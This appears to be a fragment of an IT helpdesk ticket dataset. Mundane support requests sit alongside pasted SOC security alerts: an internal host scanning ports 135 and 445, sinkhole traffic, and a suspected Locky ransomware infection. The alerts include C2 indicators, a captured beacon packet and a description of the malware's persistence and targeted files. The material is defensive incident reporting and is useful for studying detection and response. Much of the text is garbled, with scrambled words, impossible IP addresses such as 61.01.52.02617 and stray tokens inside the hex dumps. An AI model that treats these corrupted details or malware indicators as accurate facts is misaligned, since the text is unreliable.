+aug 3 17:49:18 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/56970 dst outside:192.168.68.106/135 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +aug 3 17:49:21 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/56980 dst outside:192.168.43.240/135 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +aug 3 17:49:29 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/57000 dst outside:192.168.254.28/135 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +aug 3 17:49:31 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/57017 dst outside:192.168.1.37/135 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +aug 3 17:49:32 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/57019 dst outside:192.168.0.11/135 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +aug 3 17:49:34 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/57033 dst outside:192.168.1.105/135 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +aug 3 17:49:34 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/57035 dst outside:192.168.0.20/135 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +aug 3 17:49:51 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/57061 dst outside:192.168.1.11/135 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +aug 3 17:49:54 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/57075 dst outside:192.168.1.71/135 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +aug 3 17:49:59 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/57118 dst outside:192.168.1.139/135 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +_x000D_ +_x000D_ +",GRP_2 +client is unable to view 2 screens when tablet is docked client is unable to view 2 screens when tablet is docked,GRP_3 +clients pc is making buzzing noise and wont turn on clients pc is making buzzing noise and wont turn on,GRP_3 +activation not valid for microsoft projects activation not valid for microsoft projects,GRP_3 +"security incidents - ( dsw #in33407676 ) : traffic from sinkhole domain to ( lpawx210968sf / 61.01.52.02617 ) source ip : 61.01.52.02617_x000D_ +system name : lpawx210968sf_x000D_ +user name: n/a_x000D_ +location : indaituba_x000D_ +sep , sms status : n/a_x000D_ +field sales user ( yes / no) : no_x000D_ +dsw event log: see below_x000D_ +_x000D_ +**_x000D_ +_x000D_ +=========================_x000D_ +incident overview_x000D_ +=========================_x000D_ +we are seeing your 10.32.100.17/isensor03.company.com device generating '51793 vid36000 server response with anubis sinkhole cookies set - probable infected asset' alerts for traffic (not blocked) from port 80/tcp of 195.38.137.100 to port 3720/tcp of your lpawx210968sf/61.01.52.02617 device indicating that the host is most likely infected with malware. _x000D_ +_x000D_ +this return traffic indicates that lpawx210968sf/61.01.52.02617 has most likely attempted to visit a domain name which is being sinkholed. dns sinkholes are dns servers that give out false information in order to prevent the use of the domain for which ip address resolution has been requested. sinkhole traffic is a possible indicator of an infected computer that is reaching out to a controller that has been taken over by a law enforcement or research organization as part of a malware mitigation effort. traffic to a sinkhole should be examined for characteristics of automated activity. in some cases, an administrator may be curious about a particular domain and browse to it, triggering the signature. repeated automated requests to a sinkhole, however, are a clear indication of a malware infection._x000D_ +_x000D_ +we are escalating this incident to you via a high priority ticket per our default escalation policies. if you would like us to handle these incidents differently in the future (see below for handling options), or if you have any further questions or concerns, please let us know either by corresponding to us via this ticket and delegating the ticket back to the soc, or by calling us at . _x000D_ +1) ticket only escalation for sinkhole domain alerts (explicit notification via a medium priority ticket (no phone call))_x000D_ +2) auto-resolve sinkhole domain alerts directly to the portal (no explicit notification but events will be available for reporting purposes in the portal)_x000D_ +_x000D_ +sincerely,_x000D_ +secureworks soc_x000D_ +_x000D_ +_x000D_ +=========================_x000D_ +technical details_x000D_ +=========================_x000D_ +the domain name system (dns) is a hierarchical naming system for any resource connected to the internet or a private network which has the primary purpose of associating various information with domain names assigned to each of the participating entities. it is primarily used for translating domain names to the numerirtcal ip addresses for the purpose of locating service and devices on a network. _x000D_ +_x000D_ +the domain name system distributes the responsibility of assigning domain names and mapping those names to ip addresses by designating authoritative name servers for each domain. authoritative name servers are assigned to be responsible for their supported domains, and may delegate authority over subdomains to other name servers. the domain name system also specifies the technical functionality of this database service. it defines the dns protocol, a detailed specification of the data structures and data communication exchanges used in dns, as part of the internet protocol suite._x000D_ +_x000D_ +dns sinkholes are dns servers that give out incorrect information in order to prevent the use of the domain name for which ip address resolution is being attempted. when a client requests to resolve the address of a sinkholed hole or domain, the sinkhole returns a non-routable address or any address except for the real address. this germanytially denies the client a connection to the target host. using this method, compromised clients can easily be found using sinkhole logs. another method of detecting compromised hosts is during operations in which servers being used for c2 (command and control) purposes are taken over by law enforcement as part of a malware mitigation effort. traffic to a sinkhole should be examined for characteristics of automated activity. in some cases, an administrator may be curious about a particular domain and browse to it, triggering the signature. repeated automated requests to a sinkhole are a clear indication of infection by a trojan of some sort._x000D_ +_x000D_ +connections to sinkholes may seem somewhat benign, but the ramdntyifications certainly include information leakage to some extent. although sinkhole operators are unlikely to use any personally identifiable information they may capture from a trojan's communication, it may become public knowledge that ""company x is infected with y"", which may lead to reputational damage._x000D_ +_x000D_ +additionally, some sinkholes are feeding ip addresses of victims to beshryulists, which may impede access to certain services, like sending email. finally, some trojans may connect to multiple controller domains/hostnames, and even though some of them may be sinkholed, there may be others that are not, leading to the possibility of remote code execution or information leakage to malicious parties in some cases. _x000D_ +_x000D_ +_x000D_ +=========================_x000D_ +references_x000D_ +=========================_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +=========================_x000D_ +event data_x000D_ +=========================_x000D_ +related events: _x000D_ +____________________________________________________________________________x000D_ +event id: 303133902_x000D_ +event summary: 51793 vid36000 server response with anubis sinkhole cookies set - probable infected asset_x000D_ +log time: 2016-08-04 at 10:59:36_x000D_ +source ip: 195.38.137.100_x000D_ +destination ip: 61.01.52.02617_x000D_ +destination hostname: lpawx210968sf_x000D_ +device ip: 10.32.100.17_x000D_ +device name: isensor03.company.com_x000D_ +event extra data:_x000D_ +sherlockruleid = 699417_x000D_ +cvss = -1_x000D_ +ctainstanceid = 0_x000D_ +irreceivedtime = 1470308771682_x000D_ +httpstatuscode = 302_x000D_ +inspectoreventid = 028504841_x000D_ +eventtypepriority = 4_x000D_ +dstassetofinterest = 416_x000D_ +globalproxycorrelationurl = null_x000D_ +foreseeinternalip = 61.01.52.02617_x000D_ +logtimestamp = 2582520598_x000D_ +foreseeconndirection = incoming_x000D_ +foreseeexternalip = 195.38.137.100_x000D_ +inlineaction = 2_x000D_ +ontologyid = 200020003203753900_x000D_ +foreseesrcipgeo = franhtyufurt am main,deu_x000D_ +eventtypeid = 200020003203560456_x000D_ +dsthostname = lpawx210968sf_x000D_ +vendoreventid = 271147_x000D_ +vendorpriority = 2_x000D_ +tcpflags = ***ap***_x000D_ +proto = tcp_x000D_ +dstport = 3720_x000D_ +action = not blocked_x000D_ +ileatdatacenter = true_x000D_ +foreseemaliciouscomment = null or empty model found;evaluationmodels->ngm:0.1987:0.004;_x000D_ +httpcontenttype = text/html_x000D_ +vendorversion = 7_x000D_ +refererproxycorrelationurl = null_x000D_ +agentid = 102805_x000D_ +srcport = 80_x000D_ +_x000D_ +_x000D_ +occurrence count: 7_x000D_ +event count: 1_x000D_ +_x000D_ +event detail:_x000D_ +[**] [1:21162804:2] 51793 vid36000 server response with anubis sinkhole cookies set - probable infected asset [**]_x000D_ +[classification: none] [priority: 2] [action: accept_passive] [impact_flag: 0] [impact: 0] [blocked: 2] [vlan: 0] [mpls label: 0] [pad2: 1]_x000D_ +[sensor id: 602982][event id: 271147][time: 2582520598.52167]_x000D_ +[src ip: 195.38.137.100][dst ip: 61.01.52.02617][sport/itype: 80][dport/icode: 3720][proto: 6]_x000D_ +08/04/2016-10:59:36.052167 195.38.137.100:80 -> 61.01.52.02617:3720_x000D_ +tcp ttl:45 tos:0x0 id:52866 iplen:20 dgmlen:386 df_x000D_ +***ap*** seq: 0xf1729be0 ack: 0xcc94106 win: 0x687f tcplen: 20_x000D_ +==pcap 1==_x000D_ +_x000D_ +_x000D_ +[ex http_uri 9: /]_x000D_ +_x000D_ +[ex http_hostname 10: futureinterest.org]_x000D_ +_x000D_ +[o:security]_x000D_ +_x000D_ +ascii packet(s):_x000D_ +==pcap 1 ascii s==_x000D_ +.......w............e.....@.-..c.&.d.,j..p...r....a.p.h.....http/1.1.302.moved.temporarily..server:.nginx..date:.thu,.04.aug.2016.10:59:36.gmt..content-type:.text/html..transfer-encoding:.chunked..connection:.close..location:.|12.161.199.50|2582520598|2582520598|0|1|0..set-cookie:.snkz=12.161.199.50....0...._x000D_ +==pcap 1 ascii e==_x000D_ +_x000D_ +hex packet(s):_x000D_ +==pcap 1 hex s==_x000D_ +000000 0c00 0000 1820 a357 c7cb 0000 8201 0000 .......w........_x000D_ +000010 8201 0000 4500 0182 ce82 4000 2d06 dc63 ....e.....@.-..c_x000D_ +000020 c326 8964 0a2c 4ad9 0050 0e88 f172 9be0 .&.d.,j..p...r.._x000D_ +000030 0cc9 4106 5018 687f e100 0000 4854 5450 ..a.p.h.....http_x000D_ +000040 2f31 2e31 2033 3032 204d 6f76 6564 2054 /1.1.302.moved.t_x000D_ +000050 656d 706f 7261 7269 6c79 0d0a 5365 7276 emporarily..serv_x000D_ +000060 6572 3a20 6e67 696e 780d 0a44 6174 653a er:.nginx..date:_x000D_ +000070 2054 6875 2c20 3034 2041 7567 2032 3031 .thu,.04.aug.201_x000D_ +000080 3620 3130 3a35 393a 3336 2047 4d54 0d0a 6.10:59:36.gmt.._x000D_ +000090 436f 6e74 656e 742d 5479 7065 3a20 7465 content-type:.te_x000D_ +0000a0 7874 2f68 746d 6c0d 0a54 7261 6e73 6665 xt/html..transfe_x000D_ +0000b0 722d 456e 636f 6469 6e67 3a20 6368 756e r-encoding:.chun_x000D_ +0000c0 6b65 640d 0a43 6f6e 6e65 6374 696f 6e3a ked..connection:_x000D_ +0000d0 2063 6c6f 7365 0d0a 4c6f 6361 7469 6f6e .close..location_x000D_ +0000e0 3a20 6874 7470 3a2f 2f73 736f 2e61 6e62 :._x000D_ +0000f0 7472 2e63 6f6d 2f64 6f6d 6169 6e2f 6675 tr.com/domain/fu_x000D_ +000100 7475 7265 696e 7465 7265 7374 2e6f 7267 tureinterest.org_x000D_ +000110 0d0a 5365 742d 436f 6f6b 6965 3a20 6274 ..set-cookie:.bt_x000D_ +000120 7374 3d66 6561 3834 3465 3066 3735 3966 st=fea844e0f759f_x000D_ +000130 6430 3931 3065 3566 3865 3463 6266 3665 d0910e5f8e4cbf6e_x000D_ +000140 6430 397c 3132 2e31 3631 2e31 3939 2e35 d09|12.161.199.5_x000D_ +000150 307c 3134 3730 3330 3833 3736 7c31 3437 0|2582520598|147_x000D_ +000160 3033 3038 3337 367c 307c 317c 300d 0a53 1419487|0|1|0..s_x000D_ +000170 6574 2d43 6f6f 6b69 653a 2073 6e6b 7a3d et-cookie:.snkz=_x000D_ +000180 3132 2e31 3631 2e31 3939 2e35 300d 0a0d 12.161.199.50..._x000D_ +000190 0a30 0d0a 0d0a .0...._x000D_ +==pcap 1 hex e==",GRP_62 +"security incidents - ( in33490582 ) : suspicious ms-rpc/ms-ds/netbios activity - HostName_17-new source ip : 29.26.13.3095_x000D_ +system name :HostName_17-new_x000D_ +destination hostname: lmxl9516628_x000D_ +device ip: 54.96.80.216_x000D_ +username: ztnfhiwq njpwxmdi ibañez_x000D_ +location : mexico_x000D_ +sep , sms status :no updates_x000D_ +field sales user ( yes / no) : no _x000D_ +dsw event log:see below_x000D_ +--------------------------------------------------------------------_x000D_ +=========================_x000D_ +event data_x000D_ +=========================_x000D_ +related events: _x000D_ +____________________________________________________________________________x000D_ +event id: 80975479_x000D_ +event summary: internal outbreak for 135/tcp_x000D_ +log time: 2016-08-03 at 17:48:46_x000D_ +source ip: 29.26.13.3095_x000D_ +source hostname: HostName_17-new_x000D_ +destination hostname: lmxl9516628_x000D_ +device ip: 54.96.80.216_x000D_ +device name: att-singapore-asa.company.com-1_x000D_ +event extra data:_x000D_ +inspectorruleid = 186739_x000D_ +sherlockruleid = 537074_x000D_ +cvss = -1_x000D_ +ontologyid = 200020003203009162_x000D_ +srchostname = HostName_17-new_x000D_ +eventtypeid = 200020003203009062_x000D_ +dsthostname = lmxl9516628_x000D_ +ctainstanceid = 0_x000D_ +irreceivedtime = 1470247430401_x000D_ +inspectoreventid = 874753956_x000D_ +proto = tcp_x000D_ +eventtypepriority = 1_x000D_ +dstport = 135_x000D_ +action = blocked_x000D_ +ileatdatacenter = true_x000D_ +foreseemaliciouscomment = null or empty model found;evaluationmodels->ngm:0.8019:0.0022;_x000D_ +foreseeinternalip = 29.26.13.3095_x000D_ +logtimestamp = 2581357637_x000D_ +agentid = 103955_x000D_ +foreseeconndirection = internal_x000D_ +srcassetofinterest = 264_x000D_ +srcport = 56840_x000D_ +_x000D_ +_x000D_ +occurrence count: 226_x000D_ +event count: 2_x000D_ +_x000D_ +event detail:_x000D_ +aug 3 17:48:46 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/56840 dst outside:192.168.0.5/135 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +aug 3 17:48:54 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/56870 dst outside:192.168.254.16/135 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +aug 3 17:48:58 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/56885 dst outside:192.168.86.169/135 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +aug 3 17:49:00 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/56899 dst outside:192.168.1.70/135 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +aug 3 17:49:03 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/56924 dst outside:192.168.6.154/135 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +aug 3 17:49:09 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/56952 dst outside:192.168.54.65/135 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +aug 3 17:49:18 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/56970 dst outside:192.168.68.106/135 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +aug 3 17:49:21 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/56980 dst outside:192.168.43.240/135 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +aug 3 17:49:29 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/57000 dst outside:192.168.254.28/135 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +aug 3 17:49:31 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/57017 dst outside:192.168.1.37/135 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +aug 3 17:49:32 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/57019 dst outside:192.168.0.11/135 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +aug 3 17:49:34 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/57033 dst outside:192.168.1.105/135 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +aug 3 17:49:34 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/57035 dst outside:192.168.0.20/135 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +aug 3 17:49:51 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/57061 dst outside:192.168.1.11/135 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +aug 3 17:49:54 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/57075 dst outside:192.168.1.71/135 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +aug 3 17:49:59 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/57118 dst outside:192.168.1.139/135 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +_x000D_ +_x000D_ +_x000D_ +____________________________________________________________________________x000D_ +event id: 80975470_x000D_ +event summary: internal outbreak for 445/tcp_x000D_ +log time: 2016-08-03 at 17:48:46_x000D_ +source ip: 29.26.13.3095_x000D_ +source hostname: HostName_17-new_x000D_ +destination hostname: lmxl9516628_x000D_ +device ip: 54.96.80.216_x000D_ +device name: att-singapore-asa.company.com-1_x000D_ +event extra data:_x000D_ +inspectorruleid = 186739_x000D_ +sherlockruleid = 537074_x000D_ +cvss = -1_x000D_ +ontologyid = 200020003203009162_x000D_ +srchostname = HostName_17-new_x000D_ +eventtypeid = 200020003203009062_x000D_ +dsthostname = lmxl9516628_x000D_ +ctainstanceid = 0_x000D_ +irreceivedtime = 1470247430401_x000D_ +inspectoreventid = 874753956_x000D_ +proto = tcp_x000D_ +eventtypepriority = 1_x000D_ +dstport = 135_x000D_ +action = blocked_x000D_ +ileatdatacenter = true_x000D_ +foreseemaliciouscomment = null or empty model found;evaluationmodels->ngm:0.8019:0.0022;_x000D_ +foreseeinternalip = 29.26.13.3095_x000D_ +logtimestamp = 2581357637_x000D_ +agentid = 103955_x000D_ +foreseeconndirection = internal_x000D_ +srcassetofinterest = 264_x000D_ +srcport = 56840_x000D_ +_x000D_ +_x000D_ +occurrence count: 226_x000D_ +event count: 2_x000D_ +_x000D_ +event detail:_x000D_ +aug 3 17:48:47 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/56843 dst outside:192.168.0.5/445 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +aug 3 17:48:56 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/56874 dst outside:192.168.254.16/445 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +aug 3 17:48:59 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/56892 dst outside:192.168.86.169/445 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +aug 3 17:49:02 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/56913 dst outside:192.168.1.70/445 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +aug 3 17:49:05 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/56930 dst outside:192.168.6.154/445 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +aug 3 17:49:11 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/56958 dst outside:192.168.54.65/445 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +aug 3 17:49:19 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/56975 dst outside:192.168.68.106/445 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +aug 3 17:49:22 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/56984 dst outside:192.168.43.240/445 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +aug 3 17:49:30 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/57011 dst outside:192.168.254.28/445 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +aug 3 17:49:33 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/57026 dst outside:192.168.1.37/445 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +aug 3 17:49:33 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/57027 dst outside:192.168.0.11/445 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +aug 3 17:49:36 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/57037 dst outside:192.168.1.105/445 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +aug 3 17:49:36 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/57038 dst outside:192.168.0.20/445 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +aug 3 17:49:52 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/57066 dst outside:192.168.1.11/445 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +aug 3 17:49:55 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/57087 dst outside:192.168.1.71/445 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +aug 3 17:50:01 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/57127 dst outside:192.168.1.139/445 by access-group ""acl_inside"" [0x0, 0x0]",GRP_12 +"security incidents - ( sw #in33544563 ) : possible locky ransomware infection - lpal9516827 / 45.25.35.0499 source ip : 45.25.35.0499 +system name : lpal9516827 +user name: sbinuxja vtbegcho (nicolmghyu) +location : /centralsamerirtca/south_amerirtca/fieldsales-vpn-pcs +sep , sms status : see below +field sales user ( yes / no) : no +dsw event log: see below + +** + +content versions +fmxcnwpu tcwrdqboinition version: 08/07/2016 r19 +sequence: 179810 +host integrity content: 10/28/2015 r1 +reputation settings: 03/02/2015 r5 +ap portal list: 11/11/2015 r22 +intrusion prevention signature: 08/05/2016 r11 +power eraser definitions: 10/28/2015 r36 +revocation content: 08/03/2016 r2 +eraser engine: 115.2.1.18 +sonar content: 07/18/2016 r1 +extended file attributes and signatures: 08/04/2016 r3 +symantec permitted applications list: 08/05/2016 r22 + +** + +sonar and risk logs + +risk information +downloaded or created by: c:\programdnty files (x86)\java\jre1.8.0_101\bin\javaw.exe +file or path: c:\users\nicolmghyu\202b4bcc-bddb48f94-1\9940ef2a-b.exe +application: 9940ef2a-b.exe +application type: not applicable +category set: malware +category type: heuristic virus +version: 1.0.0.0 +file size: 3332167 +hash: 1c9fca98197534681661982b366668541fa6f8d5f6480a64ffddfee7fbf502d5 +hash algorithm: sha-256 + +risk reputation +first seen: symantec has known about this file approximately 2 days. +reputation: this file is untrustworthy. +prevalence: this file has been seen by fewer than 5 symantec users. +sonar risk level: high +sensitivity: 1 (low) +detection score: 1 +sonar engine version: 10.1.0.96 +submit: not recommended to submit + +** + +========================= +incident overview +========================= +the ctoc has received an alert for '52655 vid74472 locky ransomware c2 communication outbound' from your isensor device (10.32.100.17/isensor03.company.com) for traffic sourcing from port 65360/tcp of lpal9516827/45.25.35.0499 destined to port 80/tcp of 81.4.108.247 (geffen, nld) that occurred on 2016-08-08 at 18:49:36. this activity indicates that lpal9516827/45.25.35.0499 has likely been infected with the locky ransomware. + + +the outbound http traffic from the infected device contained the following method data: +protocol: tcp +http method: post +http version: http/1.0 +domain: 81.4.108.247 +url path: /comercial/cadastra.php +user-agent: mozilla/5.0 (compatible; msie 6.0; windows nt 5.1; sv2) +content length: 127 + + +we are escalating this incident to you via a high priority ticket and phone call per our default event handling procedures. if you would like us to handle these incidents differently in the future (see below for handling options), or if you have any further questions or concerns, please let us know either by corresponding to us via this ticket and delegating the ticket back to the ctoc, or by calling us at . +1) ticket only escalation for related events (medium priority ticket and an e-mail only notification). +2) autoresolve events to the portal (no explicit notification but events will be available for reporting purposes in the portal). + +sincerely, +secureworks ctoc + + +========================= +technical details +========================= +locky is a new ransomware that encrypts your data using aes encryption and then demands a form of digital currency to decrypt your files. locky is distributed by malicious attachments to spam emails and recently seen in massive phishing campaigns with microsoft word document attachments. ctu researchers have observed attachments (for example, inwarehouse_tool_j-81076273.doc) with embedded macro code used to download the locky payload. filenames seem to be constructed by using eight random numbers following ""inwarehouse_tool_j-"". a potential victim receiving the attachment needs to open it and enable the macro which will then initiate the payload download over http. + +once locky is running on the compromised system, it drops a copy of itself in the %temp% directory under the affected user's profile and sets a registry run key to ensure persistence across reboots. the dropped file has used the filenames ladybi.exe and svchost.exe. locky also sets the hkcu\software\locky registry key and creates the values listed in the ctu tips article provided in the references section. + +locky also checks for the following registry keys, which may indicate the presence of security-related software: +• software\kasperskylab +• software\eset +• software\avast software + +the victim is notified of the infection when the desktop background image changes (see figure 4 in ctu tips). locky places the same instructions in a text file and a bitmap image on the desktop and displays both of these files to the victim. + +there is unconfirmed speculation that the operators of the botnet distributing the locky malware are also responsible for the bugat v5 (dridex) banking trojan. the spam emanates from the same botnet that distributes bugat v5 and other threats such as the shiz/shifu malware, but this finding is not conclusive because the botnet is used by various affiliates at different times. + +locky may also have the capability to locate network resources and encrypt files in those locations. ctu researchers are analysing a block of code that may be used to enumerate network-based locations (2016-02-19). + +locky attempts encryption on the following files and file types: + +.qcow2 +.vmdk +.tar +.bz2 +.jpeg +.sqlite3 +.ppsm +.potm +.xlsx +.docm +wallet.dat +.xlsm +.xlsb +.dotm +.dotx +.docx +.djvu +.pptx +.pptm +.xltx +.xltm +.ppsx +.ppam +.docb +.potx +.lay6 +.mSID_33 +.sldm +.sldx +.tiff +.class +.java +.sqlitedb + + +========================= +references +========================= + + + + + + + + +========================= +event data +========================= + +event id: 304325068 +event summary: 52655 vid74472 locky ransomware c2 communication outbound +occurrence count: 1 +event count: 1 + +host and connection information +source ip: 45.25.35.0499 +source hostname: lpal9516827 +source port: 65360 +destination ip: 81.4.108.247 +destination hostname: ha6.ru. +destination port: 80 +destination ip geolocation: geffen, nld +connection directionality: outgoing +http method: post +user agent: mozilla/5.0 (compatible; msie 6.0; windows nt 5.1; sv2) +host: 81.4.108.247 +full url path: /comercial/cadastra.php + +device information +device ip: 10.32.100.17 +device name: isensor03.company.com +log time: 2016-08-08 at 18:49:36 utc +action: not blocked +vendor eventid: 349194 +cvss score: -1 +vendor priority: 1 +vendor version: 7 + +scwx event processing information +sherlock rule id (sle): 2114736 +inspector rule id: 277082 +inspector event id: 031975724 +ontology id: 200020003203758352 +event type id: 200020003203696566 +agent id: 102805 + +event detail: +[**] [1:21163766:6] 52655 vid74472 locky ransomware c2 communication outbound [**] +[classification: none] [priority: 1] [action: accept_passive] [impact_flag: 0] [impact: 0] [blocked: 2] [vlan: 0] [mpls label: 0] [pad2: 1] +[sensor id: 602982][event id: 349194][time: 2581793287.437864] +[src ip: 45.25.35.0499][dst ip: 81.4.108.247][sport/itype: 65360][dport/icode: 80][proto: 6] +08/08/2016-18:49:36.437864 45.25.35.0499:65360 -> 81.4.108.247:80 +tcp ttl:124 tos:0x0 id:10107 iplen:20 dgmlen:408 df +***ap*** seq: 0x85a5dbff ack: 0xb770f7f2 win: 0x102 tcplen: 20 +==pcap 1== + + +[ex http_uri 9: /comercial/cadastra.php] + +[ex http_hostname 10: 81.4.108.247] + +[o:security] + +ascii packet(s): +==pcap 1 ascii s== +....@..wh...........e...'{@.|....,j.q.l..p.p.....p..p.......post./comercial/cadastra.php.http/1.0..host:.81.4.108.247..keep-alive:.300..connection:.keep-alive..user-agent:.mozilla/5.0.(compatible;.msie.6.0;.windows.nt.5.1;.sv2)..content-type:.application/x-www-form-urlencoded..content-length:.127....nome=lpal9516827&so=win10&data=08/08/2016.15:49:36&vs=9&idioma=portugu.s.(south_amerirtca)&anti={windows}.&plugin=-it&idcx=cxl[02-08-16] +==pcap 1 ascii e== + +hex packet(s): +==pcap 1 hex s== +000000 0c00 0000 40d4 a857 68ae 0600 9801 0000 ....@..wh....... +000010 9801 0000 4500 0198 277b 4000 7c06 c31e ....e...'{@.|... +000020 0a2c 4a9f 5104 6cf7 ff50 0050 85a5 dbff .,j.q.l..p.p.... +000030 b770 f7f2 5018 0102 93f3 0000 504f 5354 .p..p.......post +000040 202f 434f 4d45 5243 4941 4c2f 6361 6461 ./comercial/cada +000050 7374 7261 2e70 6870 2048 5454 502f 312e stra.php.http/1. +000060 300d 0a48 6f73 743a 2038 312e 342e 3130 0..host:.81.4.10 +000070 382e 3234 370d 0a4b 6565 702d 416c 6976 8.247..keep-aliv +000080 653a 2033 3030 0d0a 436f 6e6e 6563 7469 e:.300..connecti +000090 6f6e 3a20 6b65 6570 2SID_26 6c69 7665 0d0a on:.keep-alive.. +0000a0 5573 6572 2SID_29 6765 6e74 3a20 4d6f 7a69 user-agent:.mozi +0000b0 6c6c 612f 352e 3020 2863 6f6d 7061 7469 lla/5.0.(compati +0000c0 626c 653b 204d 5349 4520 362e 303b 2057 ble;.msie.6.0;.w +0000d0 696e 646f 7773 204e 5420 352e 313b 2053 indows.nt.5.1;.s +0000e0 5632 290d 0a43 6f6e 7465 6e74 2d54 7970 v2)..content-typ +0000f0 653a 2061 7070 6c69 6361 7469 6f6e 2f78 e:.application/x +000100 2d77 7777 2d66 6f72 6d2d 7572 6c65 6e63 -www-form-urlenc +000110 6f64 6564 0d0a 436f 6e74 656e 742d 4c65 oded..content-le +000120 6e67 7468 3a20 3132 370d 0a0d 0a4e 4f4d ngth:.127....nom +000130 453d 4c50 414c 3834 3035 3731 3626 534f e=lpal9516827&so +000140 3d57 494e 3130 2644 4154 413d 3038 2f30 =win10&data=08/0 +000150 382f 3230 3136 2031 353a 3439 3a33 3626 8/2016.15:49:36& +000160 5653 3d39 2649 4449 4f4d 413d 506f 7274 vs=9&idioma=port +000170 7567 75ea 7320 2842 7261 7369 6c29 2641 ugu.s.(south_amerirtca)&a +000180 4e54 493d 7b57 494e 444f 5753 7d20 2650 nti={windows}.&p +000190 4c55 4749 4e3d 2d49 5426 4944 4358 3d43 lugin=-it&idcx=c +0001a0 584c 5b30 322d 3038 2d31 365d xl[02-08-16] +==pcap 1 hex e==",GRP_2 +"unable to connect with vpn _x000D_ +_x000D_ +received from: ivohcdpw.ixcanwbm@gmail.com_x000D_ +_x000D_ +dear sir,_x000D_ +_x000D_ +i am trying to connect with virtual private network through _x000D_ +_x000D_ +please do the need full . tomorrow at 1400 hrs i will be free by 0900hrs to 1330hrs i will be inside govt. factory and laptop and mobile is not allowed ._x000D_ +_x000D_ +_x000D_ +with best ",GRP_0 +xceliron process not working - 